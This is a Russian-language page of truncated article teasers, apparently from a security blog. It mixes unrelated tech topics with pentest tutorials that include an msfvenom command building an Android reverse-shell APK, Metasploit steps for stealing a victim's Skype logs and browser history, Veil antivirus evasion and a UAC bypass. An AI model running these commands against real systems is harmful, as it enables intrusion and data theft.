Дополнительная информация по сканеру ZMap При выполнении сканирования TCP SYN ZMap требуется один целевой порт и поддержка диапазона исходных портов, из которых сканирование берет начало. -p, --target-port=port – TCP номер порта для сканирования (например, 443). -s, --source-port=port|range – исходный порт (порты) для пакетов сканирования (например, 40000-50000).

Шаблоны приложений ZMap предназначен для работы с большим количеством хостов, он находит те, которые отвечают положительно. Тем не менее, мы понимаем, что многие пользователи желают выполнить обработку на уровне приложений. Например, пользователи, которые выполняют сканирование TCP SYN на порту 80, хотят выполнить простой запрос, а те, кто сканирует порт 443, могут быть заинтересованы в применении соединения TLS Handshake. Баннер захвата Мы включили образец приложения, баннер захвата, который позволяет пользователям…

Как отмечают в Gartner, 10% корпоративных данных генерируются за пределами традиционных ЦОД. И ожидается, что эта цифра вырастет до 50% к 2022 году. Тенденция связана с ростом популярности «периферийных вычислений» (edge computing) и интернета вещей. Компаниям приходится искать новые подходы к организации корпоративных сетей. Одной из таких компаний является разработчик программного обеспечения для виртуализации VMware. В начале мая представители организации обозначили свое видение сетей будущего и представили…

Антивирус является дополнительным уровнем безопасности, который мы привыкли игнорировать во время пентестинга сценариев. Однако, в этом руководстве мы узнаем как зашифровать функциональную часть вируса (далее payload), таким образом, чтобы АВ (антивирусу) было сложнее обнаружить его. Вам необходимо знать: Основные моменты относительно генерирования payload с использованием metasploit, т.е. вы должны иметь общее представление о пентестинге. Установка Veil-evasion Это действительно один из редких моментов, когда…

Cookie – это небольшой фрагмент данных веб-сайта, который хранится в браузере пользователя. В дальнейшем cookies содержат все запросы, принадлежащие конкретной сессии. Некоторые cookies содержат особо важные данные сеанса, другие используются для отслеживания долговременных данных в истории браузера и являются наиболее важными. Иногда их применяют для отслеживания и мониторинга действий пользователя на различных веб-сайтах. В связи с тем, что HTTP – это stateless-протокол, веб-сайт нуждается в применении аутентификации…

Всем привет! Решил поделиться с Вами списком полезных, как я считаю, команд для Linux систем со стороны аналитика. Возможно, пригодятся тем, кто начинает осваивать CTF. А так же, не будут лишними, что бы иметь их под рукой, проводя аудит реальной системы. Теперь по порядку: Операционная система. Определение версии и типа дистрибутива: cat /etc/issuecat /etc/*-releaselsb_release -acat /etc/lsb-release # Debian basedcat /etc/redhat-release # Redhat based Определение версии ядра и разрядности системы:…

Хочу поделиться своим опытом апгрейда своего MacBook6,1 A1342 (увеличение памяти до 8Гб, установка SSD) и решении ряда проблем связанных с установкой системы на новый диск и борьба с глюками несовместимости RAM. Сначала может показаться, что апгрейд старого железа тривиальная задача: в интернете должно быть полно статей на эту тему, а на рынке куча дешевых запчастей для него. Но не все так просто на практике. Проблемы начались еще в магазине на этапе подбора комплектующих Предыстория За символическую сумму…

Утилита Msfvenom в дистрибутиве kali linux используется для взлома android. Является комбинацией утилит Msfpayload и Msfencode, объединившей в себе оба инструмента в одну платформу Framework instance под названием msfvenom payload. Установка и использование msfvenom payload: 1. Запустите kali и откройте панель управления. 2. Установите payload и создайте всплывающее окно пользователя вот этой командой: root@kali:-# msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.0.110 LPORT=4444 R > andro.apk (Для…

Недавно обнаружил в своем Redmi Note 3 Pro новое приложение от xiaomi, некий аналог Google play store, который активно предлагал обновить часть приложений, слал всякие рекомендации мол скачай это, а вот тут посмотри понравится. В настройках самого маркета отключил обновления приложений, но спам в виде уведомлений (по штук 5 сразу после загрузки телефона) - остался. В настройках уведомлений тумблер неактивен ,то есть выключить его нельзя. Спасибо хлаоми, но я на такое не подписывался. Проблема есть, на форумах…

Об установщике Metasploit Стандартный установщик Metasploit использует графический интерфейс, чтобы помочь вам в процессе установки. Обычно, это несколько подсказок, которые помогают определить локацию для установки Metasploit и порт, который вы хотите, чтобы Metasploit использовал. Когда начинается инсталляция, установщик инсталлирует зависимости и службы, необходимые для запуска Metasploit. Минимальные требования * Это минимальные требования для запуска Metasploit. Если вы устанавливаете Metasploit и Nexpose…

Всем привет! В этой небольшой статье, я бы хотел сообщить тем, кто не в курсе, что поддержка Veil Evasion закончилась, и на его место пришел обновленный фреймворк Veil. Установим его, со страницы разработчиков на Github. > git clone https://github.com/Veil-Framework/Veil > cd Veil/ > cd setup/ > ./setup.py –h > ./setup.py –c Далее, следуя подсказкам, устанавливаем необходимые для работы фреймворка, инструменты. Запуск фреймворка: > ./Veil Фреймворк, на данный момент содержит два инструмента: В каждом из них…

В этой статье, будет подробно описан взлом удаленного компьютера с использованием Kali Linux, Veil-Evasion, Metasploit. UPDATE: Поддержка Veil-Evasion закончилась, рекомендуется использовать фреймворк Veil. Ниже представлена схема, по которой будет осуществляться проникновение. Необходимые ресурсы: 1. Kali Linux (Я использовал Kali GNU/Linux Rolling) 2. Статический белый IP (В моем случае Kali находится за NAT роутера с статическим адресом. Подключение к нашей машине извне будут идти на 443 порт. (В роутере…

Всем привет! В этой статье я бы хотел описать один важный прием в работе с Meterpreter’ом. А в частности: Способ повышения привилегий до системных, обход UAC на удаленном компьютере (жертве).  В этой статье будет описано два таких способа. Оба успешно проверены на операционных системах - Windows 8.1, Windows 10. Итак, по порядку – UAC и привилегии. Если коротко, то UAC Контроль учетных записей пользователей – это функция, которая появилась еще в Windows Vista с тех пор «окна» она не покидает и только совершенствуется…

Приветствую всех! В этой короткой статье речь пойдет о том, как слить себе логи Skype, историю посещений Chrome и Firefox с удаленного компьютера жертвы. Как и в предыдущей статье нам необходима открытая сессия meterpreter с повышенными привилегиями. Затем выполняем по порядку команды ниже: > background > use post/windows/gather/forensics/browser_history > set payload windows/meterpreter/reverse_tcp > set lhost 192.168.1.6 (IP атакующего) > set session 1 > exploit Вся информация сохранилась в /root/.msf4/local/Anon...…

Данный инструмент написан из спортивного интереса, когда мною было обнаружено, что вьюха pg_stat_activity в PostgreSQL 10 имеет поля wait_event_type и wait_event, очень похожие по сути на оракловые wait_class и event из v$session. Активно работая в данный момент с программой ASH-Viewer от akardapolov мне стало любопытно — насколько сложно переписать этот продукт под Postgres. Учитывая, что я не профессиональный разработчик, было не просто, но очень интересно. По ходу дела даже нашёл, как мне кажется, пару…

Всем привет! В этой статье я хотел бы коснуться темы защиты от Metasploit в частности от шелла Meterpreter.  Так как, на сегодняшний день, в век информационных технологий риск быть кем-то взломанным очень велик, полагаю, необходимо уметь защитить свою приватность от рук злоумышленников. Ниже я предлагаю к использованию одну небольшую программу, которая поможет выявить зловредный шелл на вашем устройстве. Скачать ее можно здесь - http://rgho.st/8MtrGZNCd?r=1073 Переходим в папку exe, затем в папку соответствующую…

Система «Антиплагиат» – это специализированный поисковик. Как и положено поисковику, с собственным движком и поисковыми индексами. Самый большой наш индекс по количеству источников – конечно же, у русскоязычного интернета. Довольно давно мы решили, что будем помещать в этот индекс все, что является именно текстом (а не картинкой, музыкой или видео), написано на русском языке, имеет размер больше 1 кб и не является «почти-дубликатом» чего-то, что уже есть в индексе. Такой подход хорош тем, что он не требует…